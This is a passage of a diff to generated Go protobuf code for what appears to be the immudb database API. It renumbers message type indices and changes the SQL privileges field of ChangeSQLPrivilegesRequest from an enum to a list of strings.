*UseDatabaseReply) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[98] + mi := &file_schema_proto_msgTypes[99] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7275,7 +7268,7 @@ func (x *UseDatabaseReply) ProtoReflect() protoreflect.Message { // Deprecated: Use UseDatabaseReply.ProtoReflect.Descriptor instead. func (*UseDatabaseReply) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{98} + return file_schema_proto_rawDescGZIP(), []int{99} } func (x *UseDatabaseReply) GetToken() string { @@ -7303,7 +7296,7 @@ type ChangePermissionRequest struct { func (x *ChangePermissionRequest) Reset() { *x = ChangePermissionRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[99] + mi := &file_schema_proto_msgTypes[100] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7316,7 +7309,7 @@ func (x *ChangePermissionRequest) String() string { func (*ChangePermissionRequest) ProtoMessage() {} func (x *ChangePermissionRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[99] + mi := &file_schema_proto_msgTypes[100] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7329,7 +7322,7 @@ func (x *ChangePermissionRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ChangePermissionRequest.ProtoReflect.Descriptor instead. func (*ChangePermissionRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{99} + return file_schema_proto_rawDescGZIP(), []int{100} } func (x *ChangePermissionRequest) GetAction() PermissionAction { @@ -7371,14 +7364,14 @@ type ChangeSQLPrivilegesRequest struct { Username string `protobuf:"bytes,2,opt,name=username,proto3" json:"username,omitempty"` // Name of the database Database string `protobuf:"bytes,3,opt,name=database,proto3" json:"database,omitempty"` - // SQL privileges to grant / revoke - Privileges []SQLPrivilege `protobuf:"varint,4,rep,packed,name=privileges,proto3,enum=immudb.schema.SQLPrivilege" json:"privileges,omitempty"` + // SQL privileges: SELECT, CREATE, INSERT, UPDATE, DELETE, DROP, ALTER + Privileges []string `protobuf:"bytes,4,rep,name=privileges,proto3" json:"privileges,omitempty"` } func (x *ChangeSQLPrivilegesRequest) Reset() { *x = ChangeSQLPrivilegesRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[100] + mi := &file_schema_proto_msgTypes[101] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7391,7 +7384,7 @@ func (x *ChangeSQLPrivilegesRequest) String() string { func (*ChangeSQLPrivilegesRequest) ProtoMessage() {} func (x *ChangeSQLPrivilegesRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[100] + mi := &file_schema_proto_msgTypes[101] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7404,7 +7397,7 @@ func (x *ChangeSQLPrivilegesRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ChangeSQLPrivilegesRequest.ProtoReflect.Descriptor instead. func (*ChangeSQLPrivilegesRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{100} + return file_schema_proto_rawDescGZIP(), []int{101} } func (x *ChangeSQLPrivilegesRequest) GetAction() PermissionAction { @@ -7428,7 +7421,7 @@ func (x *ChangeSQLPrivilegesRequest) GetDatabase() string { return "" } -func (x *ChangeSQLPrivilegesRequest) GetPrivileges() []SQLPrivilege { +func (x *ChangeSQLPrivilegesRequest) GetPrivileges() []string { if x != nil { return x.Privileges } @@ -7444,7 +7437,7 @@ type ChangeSQLPrivilegesResponse struct { func (x *ChangeSQLPrivilegesResponse) Reset() { *x = ChangeSQLPrivilegesResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[101] + mi := &file_schema_proto_msgTypes[102] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7457,7 +7450,7 @@ func (x *ChangeSQLPrivilegesResponse) String() string { func (*ChangeSQLPrivilegesResponse) ProtoMessage() {} func (x *ChangeSQLPrivilegesResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[101] + mi := &file_schema_proto_msgTypes[102] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7470,7 +7463,7 @@ func (x *ChangeSQLPrivilegesResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use ChangeSQLPrivilegesResponse.ProtoReflect.Descriptor instead. func (*ChangeSQLPrivilegesResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{101} + return file_schema_proto_rawDescGZIP(), []int{102} } type SetActiveUserRequest struct { @@ -7487,7 +7480,7 @@ type SetActiveUserRequest struct { func (x *SetActiveUserRequest) Reset() { *x = SetActiveUserRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[102] + mi := &file_schema_proto_msgTypes[103] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7500,7 +7493,7 @@ func (x *SetActiveUserRequest) String() string { func (*SetActiveUserRequest) ProtoMessage() {} func (x *SetActiveUserRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[102] + mi := &file_schema_proto_msgTypes[103] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7513,7 +7506,7 @@ func (x *SetActiveUserRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SetActiveUserRequest.ProtoReflect.Descriptor instead. func (*SetActiveUserRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{102} + return file_schema_proto_rawDescGZIP(), []int{103} } func (x *SetActiveUserRequest) GetActive() bool { @@ -7542,7 +7535,7 @@ type DatabaseListResponse struct { func (x *DatabaseListResponse) Reset() { *x = DatabaseListResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[103] + mi := &file_schema_proto_msgTypes[104] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7555,7 +7548,7 @@ func (x *DatabaseListResponse) String() string { func (*DatabaseListResponse) ProtoMessage() {} func (x *DatabaseListResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[103] + mi := &file_schema_proto_msgTypes[104] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7568,7 +7561,7 @@ func (x *DatabaseListResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseListResponse.ProtoReflect.Descriptor instead. func (*DatabaseListResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{103} + return file_schema_proto_rawDescGZIP(), []int{104} } func (x *DatabaseListResponse) GetDatabases() []*Database { @@ -7587,7 +7580,7 @@ type DatabaseListRequestV2 struct { func (x *DatabaseListRequestV2) Reset() { *x = DatabaseListRequestV2{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[104] + mi := &file_schema_proto_msgTypes[105] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7600,7 +7593,7 @@ func (x *DatabaseListRequestV2) String() string { func (*DatabaseListRequestV2) ProtoMessage() {} func (x *DatabaseListRequestV2) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[104] + mi := &file_schema_proto_msgTypes[105] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7613,7 +7606,7 @@ func (x *DatabaseListRequestV2) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseListRequestV2.ProtoReflect.Descriptor instead. func (*DatabaseListRequestV2) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{104} + return file_schema_proto_rawDescGZIP(), []int{105} } type DatabaseListResponseV2 struct { @@ -7628,7 +7621,7 @@ type DatabaseListResponseV2 struct { func (x *DatabaseListResponseV2) Reset() { *x = DatabaseListResponseV2{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[105] + mi := &file_schema_proto_msgTypes[106] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7641,7 +7634,7 @@ func (x *DatabaseListResponseV2) String() string { func (*DatabaseListResponseV2) ProtoMessage() {} func (x *DatabaseListResponseV2) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[105] + mi := &file_schema_proto_msgTypes[106] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7654,7 +7647,7 @@ func (x *DatabaseListResponseV2) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseListResponseV2.ProtoReflect.Descriptor instead. func (*DatabaseListResponseV2) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{105} + return file_schema_proto_rawDescGZIP(), []int{106} } func (x *DatabaseListResponseV2) GetDatabases() []*DatabaseInfo { @@ -7688,7 +7681,7 @@ type DatabaseInfo struct { func (x *DatabaseInfo) Reset() { *x = DatabaseInfo{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[106] + mi := &file_schema_proto_msgTypes[107] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7701,7 +7694,7 @@ func (x *DatabaseInfo) String() string { func (*DatabaseInfo) ProtoMessage() {} func (x *DatabaseInfo) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[106] + mi := &file_schema_proto_msgTypes[107] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7714,7 +7707,7 @@ func (x *DatabaseInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseInfo.ProtoReflect.Descriptor instead. func (*DatabaseInfo) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{106} + return file_schema_proto_rawDescGZIP(), []int{107} } func (x *DatabaseInfo) GetName() string { @@ -7778,7 +7771,7 @@ type Chunk struct { func (x *Chunk) Reset() { *x = Chunk{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[107] + mi := &file_schema_proto_msgTypes[108] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7791,7 +7784,7 @@ func (x *Chunk) String() string { func (*Chunk) ProtoMessage() {} func (x *Chunk) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[107] + mi := &file_schema_proto_msgTypes[108] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7804,7 +7797,7 @@ func (x *Chunk) ProtoReflect() protoreflect.Message { // Deprecated: Use Chunk.ProtoReflect.Descriptor instead. func (*Chunk) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{107} + return file_schema_proto_rawDescGZIP(), []int{108} } func (x *Chunk) GetContent() []byte { @@ -7833,7 +7826,7 @@ type UseSnapshotRequest struct { func (x *UseSnapshotRequest) Reset() { *x = UseSnapshotRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[108] + mi := &file_schema_proto_msgTypes[109] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7846,7 +7839,7 @@ func (x *UseSnapshotRequest) String() string { func (*UseSnapshotRequest) ProtoMessage() {} func (x *UseSnapshotRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[108] + mi := &file_schema_proto_msgTypes[109] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7859,7 +7852,7 @@ func (x *UseSnapshotRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use UseSnapshotRequest.ProtoReflect.Descriptor instead. func (*UseSnapshotRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{108} + return file_schema_proto_rawDescGZIP(), []int{109} } func (x *UseSnapshotRequest) GetSinceTx() uint64 { @@ -7892,7 +7885,7 @@ type SQLExecRequest struct { func (x *SQLExecRequest) Reset() { *x = SQLExecRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[109] + mi := &file_schema_proto_msgTypes[110] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7905,7 +7898,7 @@ func (x *SQLExecRequest) String() string { func (*SQLExecRequest) ProtoMessage() {} func (x *SQLExecRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[109] + mi := &file_schema_proto_msgTypes[110] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7918,7 +7911,7 @@ func (x *SQLExecRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLExecRequest.ProtoReflect.Descriptor instead. func (*SQLExecRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{109} + return file_schema_proto_rawDescGZIP(), []int{110} } func (x *SQLExecRequest) GetSql() string { @@ -7962,7 +7955,7 @@ type SQLQueryRequest struct { func (x *SQLQueryRequest) Reset() { *x = SQLQueryRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[110] + mi := &file_schema_proto_msgTypes[111] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7975,7 +7968,7 @@ func (x *SQLQueryRequest) String() string { func (*SQLQueryRequest) ProtoMessage() {} func (x *SQLQueryRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[110] + mi := &file_schema_proto_msgTypes[111] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7988,7 +7981,7 @@ func (x *SQLQueryRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLQueryRequest.ProtoReflect.Descriptor instead. func (*SQLQueryRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{110} + return file_schema_proto_rawDescGZIP(), []int{111} } func (x *SQLQueryRequest) GetSql() string { @@ -8034,7 +8027,7 @@ type NamedParam struct { func (x *NamedParam) Reset() { *x = NamedParam{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[111] + mi := &file_schema_proto_msgTypes[112] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8047,7 +8040,7 @@ func (x *NamedParam) String() string { func (*NamedParam) ProtoMessage() {} func (x *NamedParam) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[111] + mi := &file_schema_proto_msgTypes[112] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8060,7 +8053,7 @@ func (x *NamedParam) ProtoReflect() protoreflect.Message { // Deprecated: Use NamedParam.ProtoReflect.Descriptor instead. func (*NamedParam) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{111} + return file_schema_proto_rawDescGZIP(), []int{112} } func (x *NamedParam) GetName() string { @@ -8091,7 +8084,7 @@ type SQLExecResult struct { func (x *SQLExecResult) Reset() { *x = SQLExecResult{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[112] + mi := &file_schema_proto_msgTypes[113] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8104,7 +8097,7 @@ func (x *SQLExecResult) String() string { func (*SQLExecResult) ProtoMessage() {} func (x *SQLExecResult) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[112] + mi := &file_schema_proto_msgTypes[113] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8117,7 +8110,7 @@ func (x *SQLExecResult) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLExecResult.ProtoReflect.Descriptor instead. func (*SQLExecResult) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{112} + return file_schema_proto_rawDescGZIP(), []int{113} } func (x *SQLExecResult) GetTxs() []*CommittedSQLTx { @@ -8152,7 +8145,7 @@ type CommittedSQLTx struct { func (x *CommittedSQLTx) Reset() { *x = CommittedSQLTx{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[113] + mi := &file_schema_proto_msgTypes[114] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8165,7 +8158,7 @@ func (x *CommittedSQLTx) String() string { func (*CommittedSQLTx) ProtoMessage() {} func (x *CommittedSQLTx) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[113] + mi := &file_schema_proto_msgTypes[114] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8178,7 +8171,7 @@ func (x *CommittedSQLTx) ProtoReflect() protoreflect.Message { // Deprecated: Use CommittedSQLTx.ProtoReflect.Descriptor instead. func (*CommittedSQLTx) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{113} + return file_schema_proto_rawDescGZIP(), []int{114} } func (x *CommittedSQLTx) GetHeader() *TxHeader { @@ -8223,7 +8216,7 @@ type SQLQueryResult struct { func (x *SQLQueryResult) Reset() { *x = SQLQueryResult{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[114] + mi := &file_schema_proto_msgTypes[115] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8236,7 +8229,7 @@ func (x *SQLQueryResult) String() string { func (*SQLQueryResult) ProtoMessage() {} func (x *SQLQueryResult) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[114] + mi := &file_schema_proto_msgTypes[115] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8249,7 +8242,7 @@ func (x *SQLQueryResult) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLQueryResult.ProtoReflect.Descriptor instead. func (*SQLQueryResult) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{114} + return file_schema_proto_rawDescGZIP(), []int{115} } func (x *SQLQueryResult) GetColumns() []*Column { @@ -8280,7 +8273,7 @@ type Column struct { func (x *Column) Reset() { *x = Column{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[115] + mi := &file_schema_proto_msgTypes[116] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8293,7 +8286,7 @@ func (x *Column) String() string { func (*Column) ProtoMessage() {} func (x *Column) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[115] + mi := &file_schema_proto_msgTypes[116] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8306,7 +8299,7 @@ func (x *Column) ProtoReflect() protoreflect.Message { // Deprecated: Use Column.ProtoReflect.Descriptor instead. func (*Column) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{115} + return file_schema_proto_rawDescGZIP(), []int{116} } func (x *Column) GetName() string { @@ -8337,7 +8330,7 @@ type Row struct { func (x *Row) Reset() { *x = Row{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[116] + mi := &file_schema_proto_msgTypes[117] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8350,7 +8343,7 @@ func (x *Row) String() string { func (*Row) ProtoMessage() {} func (x *Row) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[116] + mi := &file_schema_proto_msgTypes[117] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8363,7 +8356,7 @@ func (x *Row) ProtoReflect() protoreflect.Message { // Deprecated: Use Row.ProtoReflect.Descriptor instead. func (*Row) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{116} + return file_schema_proto_rawDescGZIP(), []int{117} } func (x *Row) GetColumns() []string { @@ -8400,7 +8393,7 @@ type SQLValue struct { func (x *SQLValue) Reset() { *x = SQLValue{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[117] + mi := &file_schema_proto_msgTypes[118] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8413,7 +8406,7 @@ func (x *SQLValue) String() string { func (*SQLValue) ProtoMessage() {} func (x *SQLValue) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[117] + mi := &file_schema_proto_msgTypes[118] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8426,7 +8419,7 @@ func (x *SQLValue) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLValue.ProtoReflect.Descriptor instead. func (*SQLValue) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{117} + return file_schema_proto_rawDescGZIP(), []int{118} } func (m *SQLValue) GetValue() isSQLValue_Value { @@ -8550,7 +8543,7 @@ type NewTxRequest struct { func (x *NewTxRequest) Reset() { *x = NewTxRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[118] + mi := &file_schema_proto_msgTypes[119] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8563,7 +8556,7 @@ func (x *NewTxRequest) String() string { func (*NewTxRequest) ProtoMessage() {} func (x *NewTxRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[118] + mi := &file_schema_proto_msgTypes[119] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8576,7 +8569,7 @@ func (x *NewTxRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use NewTxRequest.ProtoReflect.Descriptor instead. func (*NewTxRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{118} + return file_schema_proto_rawDescGZIP(), []int{119} } func (x *NewTxRequest) GetMode() TxMode { @@ -8619,7 +8612,7 @@ type NewTxResponse struct { func (x *NewTxResponse) Reset() { *x = NewTxResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[119] + mi := &file_schema_proto_msgTypes[120] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8632,7 +8625,7 @@ func (x *NewTxResponse) String() string { func (*NewTxResponse) ProtoMessage() {} func (x *NewTxResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[119] + mi := &file_schema_proto_msgTypes[120] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8645,7 +8638,7 @@ func (x *NewTxResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use NewTxResponse.ProtoReflect.Descriptor instead. func (*NewTxResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{119} + return file_schema_proto_rawDescGZIP(), []int{120} } func (x *NewTxResponse) GetTransactionID() string { @@ -8669,7 +8662,7 @@ type ErrorInfo struct { func (x *ErrorInfo) Reset() { *x = ErrorInfo{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[120] + mi := &file_schema_proto_msgTypes[121] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8682,7 +8675,7 @@ func (x *ErrorInfo) String() string { func (*ErrorInfo) ProtoMessage() {} func (x *ErrorInfo) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[120] + mi := &file_schema_proto_msgTypes[121] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8695,7 +8688,7 @@ func (x *ErrorInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use ErrorInfo.ProtoReflect.Descriptor instead. func (*ErrorInfo) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{120} + return file_schema_proto_rawDescGZIP(), []int{121} } func (x *ErrorInfo) GetCode() string { @@ -8724,7 +8717,7 @@ type DebugInfo struct { func (x *DebugInfo) Reset() { *x = DebugInfo{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[121] + mi := &file_schema_proto_msgTypes[122] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8737,7 +8730,7 @@ func (x *DebugInfo) String() string { func (*DebugInfo) ProtoMessage() {} func (x *DebugInfo) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[121] + mi := &file_schema_proto_msgTypes[122] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8750,7 +8743,7 @@ func (x *DebugInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use DebugInfo.ProtoReflect.Descriptor instead. func (*DebugInfo) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{121} + return file_schema_proto_rawDescGZIP(), []int{122} } func (x *DebugInfo) GetStack() string { @@ -8772,7 +8765,7 @@ type RetryInfo struct { func (x *RetryInfo) Reset() { *x = RetryInfo{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[122] + mi := &file_schema_proto_msgTypes[123] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8785,7 +8778,7 @@ func (x *RetryInfo) String() string { func (*RetryInfo) ProtoMessage() {} func (x *RetryInfo) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[122] + mi := &file_schema_proto_msgTypes[123] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8798,7 +8791,7 @@ func (x *RetryInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use RetryInfo.ProtoReflect.Descriptor instead. func (*RetryInfo) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{122} + return file_schema_proto_rawDescGZIP(), []int{123} } func (x *RetryInfo) GetRetryDelay() int32 { @@ -8822,7 +8815,7 @@ type TruncateDatabaseRequest struct { func (x *TruncateDatabaseRequest) Reset() { *x = TruncateDatabaseRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[123] + mi := &file_schema_proto_msgTypes[124] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8835,7 +8828,7 @@ func (x *TruncateDatabaseRequest) String() string { func (*TruncateDatabaseRequest) ProtoMessage() {} func (x *TruncateDatabaseRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[123] + mi := &file_schema_proto_msgTypes[124] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8848,7 +8841,7 @@ func (x *TruncateDatabaseRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use TruncateDatabaseRequest.ProtoReflect.Descriptor instead. func (*TruncateDatabaseRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{123} + return file_schema_proto_rawDescGZIP(), []int{124} } func (x *TruncateDatabaseRequest) GetDatabase() string { @@ -8877,7 +8870,7 @@ type TruncateDatabaseResponse struct { func (x *TruncateDatabaseResponse) Reset() { *x = TruncateDatabaseResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[124] + mi := &file_schema_proto_msgTypes[125] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8890,7 +8883,7 @@ func (x *TruncateDatabaseResponse) String() string { func (*TruncateDatabaseResponse) ProtoMessage() {} func (x *TruncateDatabaseResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[124] + mi := &file_schema_proto_msgTypes[125] if 